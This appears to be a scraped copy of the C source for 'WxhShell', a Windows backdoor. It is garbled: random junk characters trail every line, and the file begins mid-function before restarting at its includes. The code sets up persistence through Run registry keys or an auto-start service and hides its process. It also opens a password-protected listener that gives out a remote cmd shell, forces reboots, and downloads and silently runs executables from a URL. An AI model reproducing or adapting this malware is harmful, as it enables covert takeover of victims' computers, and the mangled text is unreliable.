    if(Boot(SHUTDOWN)) 0g +7uGp:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l}a)ZeR1  
    else { AS!?q  
    closesocket(wsh); n4s+>|\M  
    ExitThread(0); ./- 5R|fN  
    } P9GN}GN%v  
    break; n D0K).=Q  
    } m!gz3u]rN  
  // 获取shell wVX[)E\J  
  case 's': { :{PJI,  
    CmdShell(wsh); r(6Y*<  
    closesocket(wsh); GOj-)i/_  
    ExitThread(0); FTX=Wyr  
    break; &4{KV.  
  } :nh_k4S@v  
  // 退出 RU'=ERYC  
  case 'x': { ?5+.`L9H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K`yRr`pW  
    CloseIt(wsh); +Jlay1U&  
    break; 6o!!=}'E[  
    } p09HL%~R  
  // 离开 z#zI1Am(O  
  case 'q': { NvD7Krqwa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qk0R a_  
    closesocket(wsh); V3 9g,=`b%  
    WSACleanup(); ?[VM6- &  
    exit(1); -j+UMlkB  
    break; 4~ q5,^kgB  
        } [^R^8k  
  } Gk. ruQW"  
  } XtXEB<4Z  
8Ry3`ct  
  // 提示信息 &x=.$76  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F<ZYh  
} =qoWCmg"&  
  } ls?~+\Jb  
uX"H4l O~  
  return; bh s5x  
} :I"2V  
I.WvLLK2  
// shell模块句柄 rK@8/?y5  
int CmdShell(SOCKET sock) v V'EZ ?  
{ ob+b<HFv  
STARTUPINFO si; aB*Bz]5;E  
ZeroMemory(&si,sizeof(si)); 5<iV2Hx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^7>3a/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [8.c8-lZ^  
PROCESS_INFORMATION ProcessInfo; fsmN)_T  
char cmdline[]="cmd"; XpIklL7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Km%]1X7T6  
  return 0; IrR7"`.i  
} V8 e>l[tH  
P]<4R:yb  
// 自身启动模式 <m!h&_eg  
int StartFromService(void) tf =6\p  
{ !!qK=V|>  
typedef struct y>R=`A1b  
{ 4qN{n#{+]  
  DWORD ExitStatus; Rh3eLt~|(  
  DWORD PebBaseAddress; }elc `jj  
  DWORD AffinityMask; ~< P 0]ju  
  DWORD BasePriority; a[v0%W ]u  
  ULONG UniqueProcessId; .0p0_f=  
  ULONG InheritedFromUniqueProcessId; ZWii)0'PV  
}   PROCESS_BASIC_INFORMATION; t#yk ->,  
O1rvaOlr  
PROCNTQSIP NtQueryInformationProcess; NWP5If|'X  
LnFdhrB@x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7WZrSC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B5gj_^  
jL y  
  HANDLE             hProcess; }xKP~h'F  
  PROCESS_BASIC_INFORMATION pbi; 062,L~&E  
g-qP;vy@"q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w _u\pa  
  if(NULL == hInst ) return 0; rJd,Rdt.  
NnO~dRx{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yxonRV$&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LO'**}vm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t^VwR=i  
Bm.afsM;  
  if (!NtQueryInformationProcess) return 0; F^l[GdUosK  
5 VRYO"D:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pih tf4i  
  if(!hProcess) return 0; O7u(}$D L  
< 3(LWxw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uvgdY  
h}-3\8 >  
  CloseHandle(hProcess); 1ofKt=|=  
|o,YCzy|5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @<<<C?CTv  
if(hProcess==NULL) return 0; K*\' .~[6  
909?_ v  
HMODULE hMod; 6.FY0.i  
char procName[255]; MU>k,:[  
unsigned long cbNeeded; "-y-iJ  
< |e,05aM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p$SX  
r)qnl9?;`]  
  CloseHandle(hProcess); JgG$?n\  
agkA}O  
if(strstr(procName,"services")) return 1; // 以服务启动 5NBV[EP  
U6=..K!q  
  return 0; // 注册表启动 M-\Y"]sW  
} ]5BX :%  
sPd Gw~{  
// 主模块 ,"2s`YC  
int StartWxhshell(LPSTR lpCmdLine) siXr;/n"  
{ {2qFY 5H  
  SOCKET wsl; eeIhed9  
BOOL val=TRUE; /{|EAd{  
  int port=0; 832v"k CD  
  struct sockaddr_in door; ,/[6e\0~  
rMXN[,|v  
  if(wscfg.ws_autoins) Install(); Z/Eb:  
<wZQc  
port=atoi(lpCmdLine); =5aDM\L$&  
JROM_>mC  
if(port<=0) port=wscfg.ws_port; ?:Mr=]sD  
Qg^cf<X{i  
  WSADATA data; Kfm5i Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8'n/?.7cX  
NIh:D bE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hZ[E7=NTQ^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -7m:91x  
  door.sin_family = AF_INET; !GOM5z,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EJ@?h(O  
  door.sin_port = htons(port); h1:aKm!  
J~=n`pW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >oea{u  
closesocket(wsl); )S`jFQ1  
return 1; ktI/3Mb@  
} ^L0d/,ik  
)i q-yjO6  
  if(listen(wsl,2) == INVALID_SOCKET) { j0Bu-sO$w  
closesocket(wsl); W8Q|$ZJ88F  
return 1; iM2W]  
} ?MXejEC  
  Wxhshell(wsl); .id)VF-l  
  WSACleanup(); NxSu 3e~PS  
@|LBn6q  
return 0; *Kyw^DI  
f5F@^QXQ  
} F1iGMf-8  
>tTj[cMJl  
// 以NT服务方式启动 & +4gSr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ##KBifU"  
{ rxr{/8%f%  
DWORD   status = 0; dlU'2Cl7d  
  DWORD   specificError = 0xfffffff; ur*T%b9&  
(E/lIou  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AGH|"EWG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +$X#q8j06  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A3vUPWdDk  
  serviceStatus.dwWin32ExitCode     = 0; tcI}Ca>u  
  serviceStatus.dwServiceSpecificExitCode = 0; x2@U.r"zo  
  serviceStatus.dwCheckPoint       = 0; 0_k '.5l%  
  serviceStatus.dwWaitHint       = 0; 'jmTXWq*  
"dsU>3u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); } $uxJB  
  if (hServiceStatusHandle==0) return; Mb"J@5P[4  
Wf>zDW^"R  
status = GetLastError(); <$6QDfa#  
  if (status!=NO_ERROR) p7);uF^O%  
{ ~CVe yk< (  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nM\eDNK  
    serviceStatus.dwCheckPoint       = 0; 9 Yx]=n  
    serviceStatus.dwWaitHint       = 0; ;WgJ<&33  
    serviceStatus.dwWin32ExitCode     = status; 0~HKiH-  
    serviceStatus.dwServiceSpecificExitCode = specificError; GQ*wc?f3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u4.ngjJ  
    return; *"WDb|PBb  
  } J\J?yo 6  
7uT:b!^f[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a UxGzMZ  
  serviceStatus.dwCheckPoint       = 0; Kh(ZU^{n  
  serviceStatus.dwWaitHint       = 0; .U"8mP=&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7~9S 9  
} ygeDcnvR]  
!h(|\" }  
// 处理NT服务事件,比如:启动、停止 \(VTt|}By$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bfA=3S"0  
{ _FXZm50\g{  
switch(fdwControl) XGJj3-eW {  
{ 76wc,+  
case SERVICE_CONTROL_STOP: l_EM8pL,f  
  serviceStatus.dwWin32ExitCode = 0; H_EB1"C;\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  |?Frj  
  serviceStatus.dwCheckPoint   = 0; ( xXGSx  
  serviceStatus.dwWaitHint     = 0; YhbZ'SJ  
  { *\(r+>*x*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -6Oz^  
  } 6&DX] [G  
  return; i O/K nH  
case SERVICE_CONTROL_PAUSE: 4Y,R-+f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {n/uh0>f*  
  break; ; l&4V  
case SERVICE_CONTROL_CONTINUE: I/M_p^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4 SHU  
  break; Rop'e8Q  
case SERVICE_CONTROL_INTERROGATE: MS>t_C(  
  break; rSxxH]-  
}; {g2@6ct  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #?*WPq  
} pAb.c  
_9tK[ /h  
// 标准应用程序主函数 ebS0qo[oLH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IP``O!WP  
{ (T>nPbv)  
wj[\B*$?  
// 获取操作系统版本 GiP`dtK   
OsIsNt=GetOsVer(); [01.\eh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '\Jj8oJQj  
fGw^:,B  
  // 从命令行安装 B;R.#^@/  
  if(strpbrk(lpCmdLine,"iI")) Install(); =`*O1a  
ZiYm:$CJ  
  // 下载执行文件 6el;Erp  
if(wscfg.ws_downexe) { fMGbODAvY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cE`6uq7 p  
  WinExec(wscfg.ws_filenam,SW_HIDE); &FH2fMLQ  
} 9R;/*$  
2-=\~<)  
if(!OsIsNt) { j<2m,~k`V  
// 如果时win9x,隐藏进程并且设置为注册表启动 N2oRJ,:B  
HideProc(); {GKy'/[  
StartWxhshell(lpCmdLine); $&$w Y/F  
} |} {B1A  
else Ubh{!Y  
  if(StartFromService()) 1QcT$8HA  
  // 以服务方式启动 l IUuA  
  StartServiceCtrlDispatcher(DispatchTable); GuGOePV  
else #VB')^d<U  
  // 普通方式启动 AK= h[2(  
  StartWxhshell(lpCmdLine); >$ NDv  
CT KG9 T  
return 0; VOc8q-hK  
} <&&SX;  
\A#1y\ok  
A#nun  
:8 jhiB)  
=========================================== MZTx:EN!  
-zp0S*iP7  
?OE.O/~l  
d"5oD@JG:  
is1's[  
;w6>"O$a  
" |\n@3cIK  
rC.eyq,105  
#include <stdio.h> <V7>?U l  
#include <string.h> {NPuu?&  
#include <windows.h> 1G0fp:\w  
#include <winsock2.h> 7]x3!AlV  
#include <winsvc.h> 2RqbrY n  
#include <urlmon.h> Rw6; Z  
&?uz`pv2  
#pragma comment (lib, "Ws2_32.lib") HQUeWCN  
#pragma comment (lib, "urlmon.lib") .s<*'B7&  
`+zWu 55;  
#define MAX_USER   100 // 最大客户端连接数 >iOzl wmG  
#define BUF_SOCK   200 // sock buffer /0W9g  
#define KEY_BUFF   255 // 输入 buffer @*0cMO;SpG  
:9R=]#uD  
#define REBOOT     0   // 重启 HJ2*y|u  
#define SHUTDOWN   1   // 关机 21ppSN >  
}w/;){gu  
#define DEF_PORT   5000 // 监听端口 Iq#ZhAk  
-pU|hSW*b  
#define REG_LEN     16   // 注册表键长度 ZxG}ViS4I  
#define SVC_LEN     80   // NT服务名长度 (]RM6i7  
Q.9qImgN  
// 从dll定义API 5GA\xM-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {ekCQeDo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nI/kw%<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j,t#B"hOnp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CW)Z[<d8  
T;diNfgg  
// wxhshell配置信息 s-Aw<Q)d  
struct WSCFG { :LWn<,4F&  
  int ws_port;         // 监听端口 Qd_Y\PzS  
  char ws_passstr[REG_LEN]; // 口令 .MVYB\6Q0  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4EXB;[ ]  
  char ws_regname[REG_LEN]; // 注册表键名 i\4hR?  
  char ws_svcname[REG_LEN]; // 服务名 KJ?y@Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +B'8|5tPX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z<#hS=eY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FYb34LY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W(25TbQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +&X%<S W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -w;(cE  
2>]a)  
}; T/c<23i  
WEa2E?*  
// default Wxhshell configuration F$Ca;cP"  
struct WSCFG wscfg={DEF_PORT, GyW.2  
    "xuhuanlingzhe", =?])['VaA  
    1, dLvJh#`o  
    "Wxhshell", < AI;6/  
    "Wxhshell", Uz608u  
            "WxhShell Service", R7s|`\  
    "Wrsky Windows CmdShell Service", {/ LZcz[  
    "Please Input Your Password: ", WKr X,GF  
  1, rZojY}dWJ  
  "http://www.wrsky.com/wxhshell.exe", SVa6V}"Iv  
  "Wxhshell.exe" FZ|CqD"#  
    }; !@I}mQ ~  
Uu"0rUzt  
// 消息定义模块 Q \]Xm>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5tv<8~:K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uNHdpni  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TZ;p0^(  
char *msg_ws_ext="\n\rExit."; e8h,,:l3j  
char *msg_ws_end="\n\rQuit."; '~ 4pl0TWc  
char *msg_ws_boot="\n\rReboot..."; 1`LXz3uBe  
char *msg_ws_poff="\n\rShutdown..."; 0G <hn8>  
char *msg_ws_down="\n\rSave to "; KtB!"yy#  
R0;ef D  
char *msg_ws_err="\n\rErr!"; )9B:wc"  
char *msg_ws_ok="\n\rOK!"; G~wFnl%  
HPQ/~0$  
char ExeFile[MAX_PATH]; %d m-?`  
int nUser = 0; 1|ZhPsD.}g  
HANDLE handles[MAX_USER]; h{}mBQl  
int OsIsNt; [pg}S#A  
|!H?+Jj:  
SERVICE_STATUS       serviceStatus; b@t5`Y-+K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H]\Zn%.#  
0rokR&Y-d  
// 函数声明 QM5 .f+/  
int Install(void); 85|fyX  
int Uninstall(void); _P,^_%}V06  
int DownloadFile(char *sURL, SOCKET wsh); J4 tcQ  
int Boot(int flag); >p])it[q&$  
void HideProc(void); 3Z>YV]YbeU  
int GetOsVer(void); JI|6B  
int Wxhshell(SOCKET wsl); =q(GHg;'  
void TalkWithClient(void *cs); 'R9g7,53R  
int CmdShell(SOCKET sock); maSgRf[g  
int StartFromService(void); 'P laMOy  
int StartWxhshell(LPSTR lpCmdLine); 4'Xgk8)  
D H^T x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J$9:jE-4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D);'pKl  
m-V02's  
// 数据结构和表定义 `C_'|d<HA  
SERVICE_TABLE_ENTRY DispatchTable[] = yg;_.4TpIO  
{ k_GP> b\"k  
{wscfg.ws_svcname, NTServiceMain}, YCy22@C  
{NULL, NULL} PoShQR<  
}; g):]'  
K(T\9J.  
// 自我安装 'GJVWpvUU  
int Install(void) 0{^H]Y  
{ x.$1<w64t  
  char svExeFile[MAX_PATH]; mzD^ Y<LTd  
  HKEY key; uXQ >WI@eF  
  strcpy(svExeFile,ExeFile); jU=<r  
WxGSv#u  
// 如果是win9x系统,修改注册表设为自启动 *s)}Bj  
if(!OsIsNt) { Eff\Aq{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VjbG(nB?_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WW "i  
  RegCloseKey(key); ad n|N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \&}G]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wv K(G3  
  RegCloseKey(key); fP%Fyg^k  
  return 0; 7;LO2<|1  
    } h<p3'  
  } v })Q  
} hPdx(E)8!d  
else { 80ZnM%/}  
^m7~:=K7WG  
// 如果是NT以上系统,安装为系统服务 3+YbA)i;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8NimZ(  
if (schSCManager!=0) Mth6-^g5  
{ 7w58L:)B.  
  SC_HANDLE schService = CreateService TYjA:d9YH  
  ( =qoRS0Qa  
  schSCManager, 2H[)1|]l  
  wscfg.ws_svcname, ^uaFg`S  
  wscfg.ws_svcdisp, 0,FC YTtj$  
  SERVICE_ALL_ACCESS, Y?Vz(udD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o;`!kIQ  
  SERVICE_AUTO_START, }fIqH4bp  
  SERVICE_ERROR_NORMAL, b>cafu  
  svExeFile, /N^~U&7  
  NULL, 'pP-rdx  
  NULL, w@]jpH;WX  
  NULL, 0H=9@  
  NULL, 'I/h(  
  NULL tLX,+P2|  
  ); VRS 2cc  
  if (schService!=0) IftxSaP  
  { 0^_MN~s(X  
  CloseServiceHandle(schService); C|z%P}u#p  
  CloseServiceHandle(schSCManager); PDw{R]V+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BSXdvI1y  
  strcat(svExeFile,wscfg.ws_svcname); ]1fZupM^6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "D> ]ES%5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9Z!lmfnJ  
  RegCloseKey(key); ^Gz{6@TY5  
  return 0; g0#q"v55  
    } )&Z>@S^  
  } z] @W[MHY  
  CloseServiceHandle(schSCManager); G%w_CMfH  
} rm+v(&  
} (:$9%,x  
EI`vVI  
return 1; qj?2%mK`  
} Sa]Ek*  
gM_:l  
// 自我卸载 {HZS:AV0  
int Uninstall(void) zS% m_,t  
{ Fu0.~w  
  HKEY key; Xt(! a  
ySruAkw%  
if(!OsIsNt) { Hc!!tbBQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V;*pL1  
  RegDeleteValue(key,wscfg.ws_regname); 3@X7YgILU  
  RegCloseKey(key); l]vohLz 3!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fykI,!  
  RegDeleteValue(key,wscfg.ws_regname); ` py}99G  
  RegCloseKey(key); d7i#w #  
  return 0; pv$tTWk  
  } S|2VP8xY9  
} p~>_T7ze  
} {'(ej5,6  
else { \JU ~k5j  
ABWb>EZ8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +rQg7a}  
if (schSCManager!=0) +>E5X4JC  
{ q0|Z oP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z<QIuq  
  if (schService!=0) :c;_a-69  
  { a"qR J-@  
  if(DeleteService(schService)!=0) { oYq,u@oM  
  CloseServiceHandle(schService); sQ(1/"gb  
  CloseServiceHandle(schSCManager); 4]"w b5%  
  return 0; fu>Qi)@6a1  
  } Fg@ ACv'@  
  CloseServiceHandle(schService); xT+ ;w[s  
  } OPJgIU%  
  CloseServiceHandle(schSCManager); C5B=NAc  
} kbq:U8+k  
} _SF!T6A  
8on[%Vk  
return 1; q6)p*}-  
} b3^R,6]x&  
}B*,mn2N  
// 从指定url下载文件 9L=;KtE1  
int DownloadFile(char *sURL, SOCKET wsh) | M _%QM.  
{ M 5rwoyn  
  HRESULT hr; (+$ol'i  
char seps[]= "/"; \6c8z/O7   
char *token; 0Q*-g}wXfS  
char *file; %g-0O#8}  
char myURL[MAX_PATH]; LI:?Y_r  
char myFILE[MAX_PATH]; ;x RjQR  
y"Ihr5S\  
strcpy(myURL,sURL); oYg/*k7EDX  
  token=strtok(myURL,seps); ^(m0M$Wk*  
  while(token!=NULL) )T<D6l Lt  
  { ~"5C${~{  
    file=token; vu>YH)N_h  
  token=strtok(NULL,seps); (JvQ-H  
  } ox JGJ  
|%3O) B  
GetCurrentDirectory(MAX_PATH,myFILE); g?$e^ls  
strcat(myFILE, "\\"); z-)*Q  
strcat(myFILE, file); 7n<#y;wo  
  send(wsh,myFILE,strlen(myFILE),0); }RDb1~6C  
send(wsh,"...",3,0); Z3I L8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hC|KH}aCR)  
  if(hr==S_OK) IKtiR8  
return 0; G#g{3}dcK  
else ?V6 %>RU  
return 1; [M<{P5q  
){jqfkL  
} D;J|eC>^  
S].Ft/+H  
// 系统电源模块 !}j,TPpG  
int Boot(int flag) "h`54 }0  
{ AAdD\ %JZ  
  HANDLE hToken; _p$"NNFN  
  TOKEN_PRIVILEGES tkp; HcDyD0;L.  
"sSjVu  
  if(OsIsNt) { [ArO$X3\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (,d/JnP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JgxA^>|9;  
    tkp.PrivilegeCount = 1; lbG}noqb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j& <tdORT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B5 tx f.  
if(flag==REBOOT) { /H.(d 4C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \&# p1K(H  
  return 0; T:dX4=z  
} Y+OYoI  
else { <XY;fhnB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Iy6p>z|  
  return 0; i)GeX:  
} e%'z=%(  
  } T^+1rG  
  else { q!9^#c  
if(flag==REBOOT) { h<Jc;ht  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tu7+LwF7  
  return 0; =]WW'~  
} @-}D7?  
else { QR|XV%$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A4}JZi6@  
  return 0; 2z[r@}3  
} p"g1V7B  
} D8q3TyCj%  
)#)nBM2\  
return 1; ;K>{_k f  
} y4 dp1<t%  
kT>r<`rt  
// win9x进程隐藏模块 J& n ^y  
void HideProc(void) 9$:QLE+t  
{ -MQZiq7H4  
@*bvMEE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zm`'MsgFr  
  if ( hKernel != NULL ) C,9)V5!tP2  
  { B#| Z`mZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :Pj W:]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $^!a`Xr  
    FreeLibrary(hKernel); u'#`yTB6b  
  } &NlS  =  
%H 8A=  
return; Xs{:[vRW  
} 3"HGEUqA  
TEH*@~P"  
// 获取操作系统版本 y|FBYcn#F  
int GetOsVer(void) v@F|O8t:s  
{ lNq:JVJ#\r  
  OSVERSIONINFO winfo; Jslk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E \ K  
  GetVersionEx(&winfo); E`A<]dAoK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L"Qh_+   
  return 1; =}B4I  
  else P@^z:RS*{  
  return 0; 7Qm;g-)f  
} ~ >&I^4  
# Nu%]  
// 客户端句柄模块 ?ZSXoy-kr  
int Wxhshell(SOCKET wsl) </K%i;l  
{ 6ctHL<^  
  SOCKET wsh; a7XXhsZ  
  struct sockaddr_in client; ?/o2#iJx  
  DWORD myID; /%N31   
K> c8r8!  
  while(nUser<MAX_USER) Z/XM `Cy  
{ Vy?R/ Uu  
  int nSize=sizeof(client); ccHLL6F{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \O8Y3|<  
  if(wsh==INVALID_SOCKET) return 1; O;"*_Xq(`  
&:!ZT=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gaLEhf^  
if(handles[nUser]==0) cq'}2pob  
  closesocket(wsh); [ HC8-N^.}  
else N/`TrWVF  
  nUser++; G\'u~B/w  
  }  ;'2`M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w>`h3;,2  
H<rnJ  
  return 0; FgFJ0fo  
} &=+cov(3  
M<SbVP|V "  
// 关闭 socket el2*\(XT  
void CloseIt(SOCKET wsh) k"Z"$V2i  
{ QN{}R;s  
closesocket(wsh); rX|y/0)F  
nUser--; 8o8b'tW^  
ExitThread(0); b7W=HR  
} `:-@E2  
3/A!_Uc(  
// 客户端请求句柄 Lo$Z>u4(c  
void TalkWithClient(void *cs) s2(w#n)  
{ 7yqSt)/U  
~x4{P;y  
  SOCKET wsh=(SOCKET)cs; FqT,4SIR  
  char pwd[SVC_LEN]; =Do3#Xe2V  
  char cmd[KEY_BUFF]; 7/p J6>  
char chr[1]; jkQt'!  
int i,j; v&[X&Hu[  
F #!@}K8  
  while (nUser < MAX_USER) { =|qt!gY)Y  
]Omb :  
if(wscfg.ws_passstr) { okK/i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rm5T=fNJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T!^?d5uW#  
  //ZeroMemory(pwd,KEY_BUFF); RpmBP[  
      i=0; y(bt56 | z  
  while(i<SVC_LEN) { hX>VVeIZ  
${E[pT  
  // 设置超时 0gwm gc/#  
  fd_set FdRead; ?d>P+).  
  struct timeval TimeOut; |d B1R%  
  FD_ZERO(&FdRead); @dWS*@  
  FD_SET(wsh,&FdRead); /P?|4D}<  
  TimeOut.tv_sec=8; oPBg+Bh*  
  TimeOut.tv_usec=0; yKe*<\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^.Ih,@N6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sT[av  
E&s'uE=w+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4BduUH  
  pwd=chr[0]; /A[oj2un  
  if(chr[0]==0xd || chr[0]==0xa) { *D09P%  
  pwd=0; HX /GLnY/X  
  break; NSxPN:  
  } $tt0D?$4  
  i++; oqd N5+xt  
    } M3jv aI  
E1{:z"  
  // 如果是非法用户,关闭 socket H/p-YtY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O#Zs3k  
} z 1#0  
; $ ?jR c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oM18aR&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #iR yjD  
@o3R`ZgC]\  
while(1) { c:@OX[##  
]9KQP-p'  
  ZeroMemory(cmd,KEY_BUFF); cAKoPU>U  
v0hfY   
      // 自动支持客户端 telnet标准   }`<>$2b  
  j=0; @ (u?=x;  
  while(j<KEY_BUFF) { },Y; (n'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (IWix){  
  cmd[j]=chr[0]; FVC2XxP  
  if(chr[0]==0xa || chr[0]==0xd) { zV_-rf  
  cmd[j]=0; QNa}M{5>h  
  break; IioE<wS)  
  } |W~V@n8"6  
  j++; {!{7zM%u0C  
    } f,`}hFD  
bWQORjnd8  
  // 下载文件 |qy"%W@  
  if(strstr(cmd,"http://")) { _;J9q}X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a7v[l04  
  if(DownloadFile(cmd,wsh)) lM|WOmD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @7HOL-i  
  else %.Tf u0M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nnd-pf-  
  } mBpsgm:g^  
  else { WRcFE<  
`6BS-AVO7  
    switch(cmd[0]) { SX?$H~A  
